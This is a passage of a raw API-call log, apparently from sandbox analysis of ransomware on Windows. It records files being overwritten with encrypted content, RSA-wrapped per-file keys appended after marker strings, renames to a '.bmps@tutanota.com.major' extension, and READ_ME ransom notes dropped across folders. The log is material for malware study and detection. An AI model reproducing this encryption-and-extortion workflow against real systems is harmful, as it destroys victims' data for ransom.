pszString="+y/IYMaG5nWJAw/uhzvhUzbD8EJFi7WqlYaCRaFM18Nafb7x7QKHD7+eUMTDJmTF\nwAFZqFAwRJUKTYa5CueHzWFgWMCjEvDeKH/qEsi8XG1orvBi2RQVnMnMgoXU3byn\nerlzOVu6g9cyFliPXG8D/aTph6YPQI1aGUY2O2QB6HMBhBvxhLg10qlBOuHay6PI\nFP7S7n1yDERTkM3xav4IbjaRfFClJ2wS2UBxS/Y/tOS2U854Pp5YtK5KdMILKxLi\nEm0rnlUsNoYORmockMC2pqHviIC0UEa/OmjDRawSO4afwL6fBE/I5euWdKTuwTa0\n02/bmZU7KogwXEfoVlLNcQ==\n", pcchString=0x2e3f9a8) returned 1 [0204.072] WriteFile (in: hFile=0x1334, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0204.073] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.073] WriteFile (in: hFile=0x1334, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.073] CloseHandle (hObject=0x1334) returned 1 [0204.074] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0204.074] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0204.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6693e8 [0204.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0204.075] ReadFile (in: hFile=0x1334, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0204.173] SetFilePointer (in: hFile=0x1334, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.173] WriteFile (in: hFile=0x1334, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0204.173] SetFilePointer (in: hFile=0x1334, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0204.173] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.173] WriteFile (in: hFile=0x1334, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0204.174] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0204.174] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0204.174] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0204.174] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5FKS+Jv/WD8yNlnS4F54tNEc4V3Ycg/hRvUU+5rFnp0IP+AhSbbDuTBINFeIieOj\ntfZatG8zxVd5pVuQnBZUjIYx9RZx5M3s9NQZMDytY7X2Rk7+HJDSoMCppYDe74h+\nqGix7zhtzznlPDFcd3QpntCDSVLAVhkEOBwQo1od/SW7N1UEz5UWYI9+0AVqlHtD\n3D9AmIP6Gw/I5JtZ6wC8NMnqropvjQCqh/D0nTyAy0rPHlUM5zqtGHM/iSbandR2\nPWxQ7CHCJhGuzYXh9ot7KNTTbxscDwNXPmX4QClYZt+FKy+q56X8KMxmJnh7NSlQ\nCCCTuYuAC7d8EeUaqOsPHQ==\n", pcchString=0x2e3f9a8) returned 1 [0204.174] WriteFile (in: hFile=0x1334, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0204.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.175] WriteFile (in: hFile=0x1334, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.175] CloseHandle (hObject=0x1334) returned 1 [0204.177] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0204.177] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0204.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6683e0 [0204.177] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0204.177] ReadFile (in: hFile=0x1334, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0204.177] SetFilePointer (in: hFile=0x1334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.177] WriteFile (in: hFile=0x1334, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0204.177] SetFilePointer (in: hFile=0x1334, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0204.177] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.177] WriteFile (in: hFile=0x1334, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.178] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0204.178] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0204.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0204.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0204.179] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EzyVAWGtwFFhZaUhtPdvnub+bLPGmdLYSlPLPfFJMCC+q6R4AGNT4ZJkBuQZSWBS\ncDsrGJENn/J4VToDq5DiAaEiUkPhx5qFlS/vkl454Wa8cZgGS4uBhRo/M9B6BN23\nM9gBePlQn+Awfwm72mzOWlvq5y/ZDTVeV1FClx9/y4I75p9qnXW+L+w+zsXX4U/L\ndY4kHoOWnMVKcRL6IrFUMpp293tlIvKQ8+UGcrur1Fz2hQpmdBuufeuxB7VasCT6\nvgNGvw9MnKmOxJ+yWV9NGO/vbjKseJsfQ4JE4F3pvmKVubBE6LMs+w7Bh+NSvmiy\nIBim8VHSB5OK8WsbP43wkg==\n", pcchString=0x2e3f9a8) returned 1 [0204.179] WriteFile (in: hFile=0x1334, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0204.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.179] WriteFile (in: hFile=0x1334, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.180] CloseHandle (hObject=0x1334) returned 1 [0204.180] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowssoundrecorder_8wekyb3d8bbwe\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] GetLastError () returned 0x0 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be478 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] GetLastError () returned 0x0 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60de60 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] GetLastError () returned 0x0 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0204.182] SetLastError (dwErrCode=0x0) [0204.182] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60788 [0204.182] SetLastError (dwErrCode=0x12) [0204.183] GetLastError () returned 0x12 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] GetLastError () returned 0x12 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] GetLastError () returned 0x12 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] GetLastError () returned 0x12 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be5d8 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] GetLastError () returned 0x12 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60648 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] GetLastError () returned 0x12 [0204.183] SetLastError (dwErrCode=0x12) [0204.183] GetLastError () returned 0x12 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be688 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] GetLastError () returned 0x12 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] GetLastError () returned 0x12 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be790 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] GetLastError () returned 0x12 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] GetLastError () returned 0x12 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60580 [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60710 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] GetLastError () returned 0x12 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0204.184] SetLastError (dwErrCode=0x12) [0204.184] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668d28 [0204.184] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1340 [0204.186] WriteFile (in: hFile=0x1340, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0204.187] CloseHandle (hObject=0x1340) returned 1 [0204.187] SetLastError (dwErrCode=0x0) [0204.187] GetLastError () returned 0x0 [0204.187] SetLastError (dwErrCode=0x0) [0204.187] GetLastError () returned 0x0 [0204.187] SetLastError (dwErrCode=0x0) [0204.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60828 [0204.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60580 [0204.187] SetLastError (dwErrCode=0x0) [0204.187] GetLastError () returned 0x0 [0204.187] SetLastError (dwErrCode=0x0) [0204.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0204.188] SetLastError (dwErrCode=0x0) [0204.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668e00 [0204.188] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1340 [0204.188] WriteFile (in: hFile=0x1340, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0204.189] CloseHandle (hObject=0x1340) returned 1 [0204.189] SetLastError (dwErrCode=0x0) [0204.189] GetLastError () returned 0x0 [0204.189] SetLastError (dwErrCode=0x0) [0204.189] GetLastError () returned 0x0 [0204.189] SetLastError (dwErrCode=0x0) [0204.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0204.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60580 [0204.189] SetLastError (dwErrCode=0x0) [0204.189] GetLastError () returned 0x0 [0204.189] SetLastError (dwErrCode=0x0) [0204.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0204.189] SetLastError (dwErrCode=0x0) [0204.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x669160 [0204.190] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1340 [0204.191] WriteFile (in: hFile=0x1340, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0204.191] CloseHandle (hObject=0x1340) returned 1 [0204.191] SetLastError (dwErrCode=0x0) [0204.192] GetLastError () returned 0x0 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] GetLastError () returned 0x0 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0204.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] GetLastError () returned 0x0 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] GetLastError () returned 0x0 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] GetLastError () returned 0x0 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] GetLastError () returned 0x0 [0204.192] SetLastError (dwErrCode=0x0) [0204.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.192] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0204.192] SetLastError (dwErrCode=0x12) [0204.192] GetLastError () returned 0x12 [0204.192] SetLastError (dwErrCode=0x12) [0204.192] GetLastError () returned 0x12 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] GetLastError () returned 0x12 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] GetLastError () returned 0x12 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] GetLastError () returned 0x12 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] GetLastError () returned 0x12 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60670 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] GetLastError () returned 0x12 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] GetLastError () returned 0x12 [0204.193] SetLastError (dwErrCode=0x12) [0204.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0204.193] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0204.193] SetLastError (dwErrCode=0x12) [0204.194] GetLastError () returned 0x12 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] GetLastError () returned 0x12 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0204.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be7e8 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] GetLastError () returned 0x12 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] GetLastError () returned 0x12 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60738 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] GetLastError () returned 0x12 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d898 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f607b0 [0204.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60738 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] GetLastError () returned 0x12 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] GetLastError () returned 0x12 [0204.194] SetLastError (dwErrCode=0x12) [0204.194] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659100 [0204.195] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\perUserCache_0\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsstore_8wekyb3d8bbwe\\localcache\\perusercache_0\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1348 [0204.277] WriteFile (in: hFile=0x1348, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0204.277] CloseHandle (hObject=0x1348) returned 1 [0204.278] SetLastError (dwErrCode=0x0) [0204.278] GetLastError () returned 0x0 [0204.278] SetLastError (dwErrCode=0x0) [0204.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0204.278] SetLastError (dwErrCode=0x0) [0204.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0204.278] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0204.278] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\LocalCache\\Nexus.json", dwFileAttributes=0x80) returned 1 [0204.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0204.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e678 [0204.279] ReadFile (in: hFile=0x1348, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x52b4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x52b4, lpOverlapped=0x0) returned 1 [0204.328] SetFilePointer (in: hFile=0x1348, lDistanceToMove=-21172, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0204.328] WriteFile (in: hFile=0x1348, lpBuffer=0x2f322d0*, nNumberOfBytesToWrite=0x52b4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f322d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x52b4, lpOverlapped=0x0) returned 1 [0204.329] SetFilePointer (in: hFile=0x1348, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x52b4 [0204.329] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.329] WriteFile (in: hFile=0x1348, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0204.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0204.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0204.329] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0204.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0204.330] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cIrXhOcQRkctuEUhia4oMrN8I2QwGYi/eyYI9rUf+gzTrT59yJLmr+UIFcBuRX07\n9MPSjh6VIBi1QjWKVTuAJ3oTrslUtbHGrmSadnPgDn75avg1kPno5Dpb+m+9YPIY\nykV5uORqEtp7H6HcKLcXc20CCxlSoVizMgzUwSI0FnIUmELJ2yLFOF8Qx3bz0Gv1\nwV1iXjYUVL11AnpLPpZOteIcy2fjHTfIPFcGmhsOW0xtY/WQwnvtio9uQZcOUy+G\npfX9zSVsyBxqT9nBugJxbD6rcCGn+ou7QVMFZeU2Fe0X8ekMJCSUEcHwjSdg2l1L\nnPtIk9pLRpU45nkP7zJfbg==\n", pcchString=0x2e3f9a8) returned 1 [0204.330] WriteFile (in: hFile=0x1348, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0204.330] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0204.330] WriteFile (in: hFile=0x1348, lpBuffer=0x4452e4*, 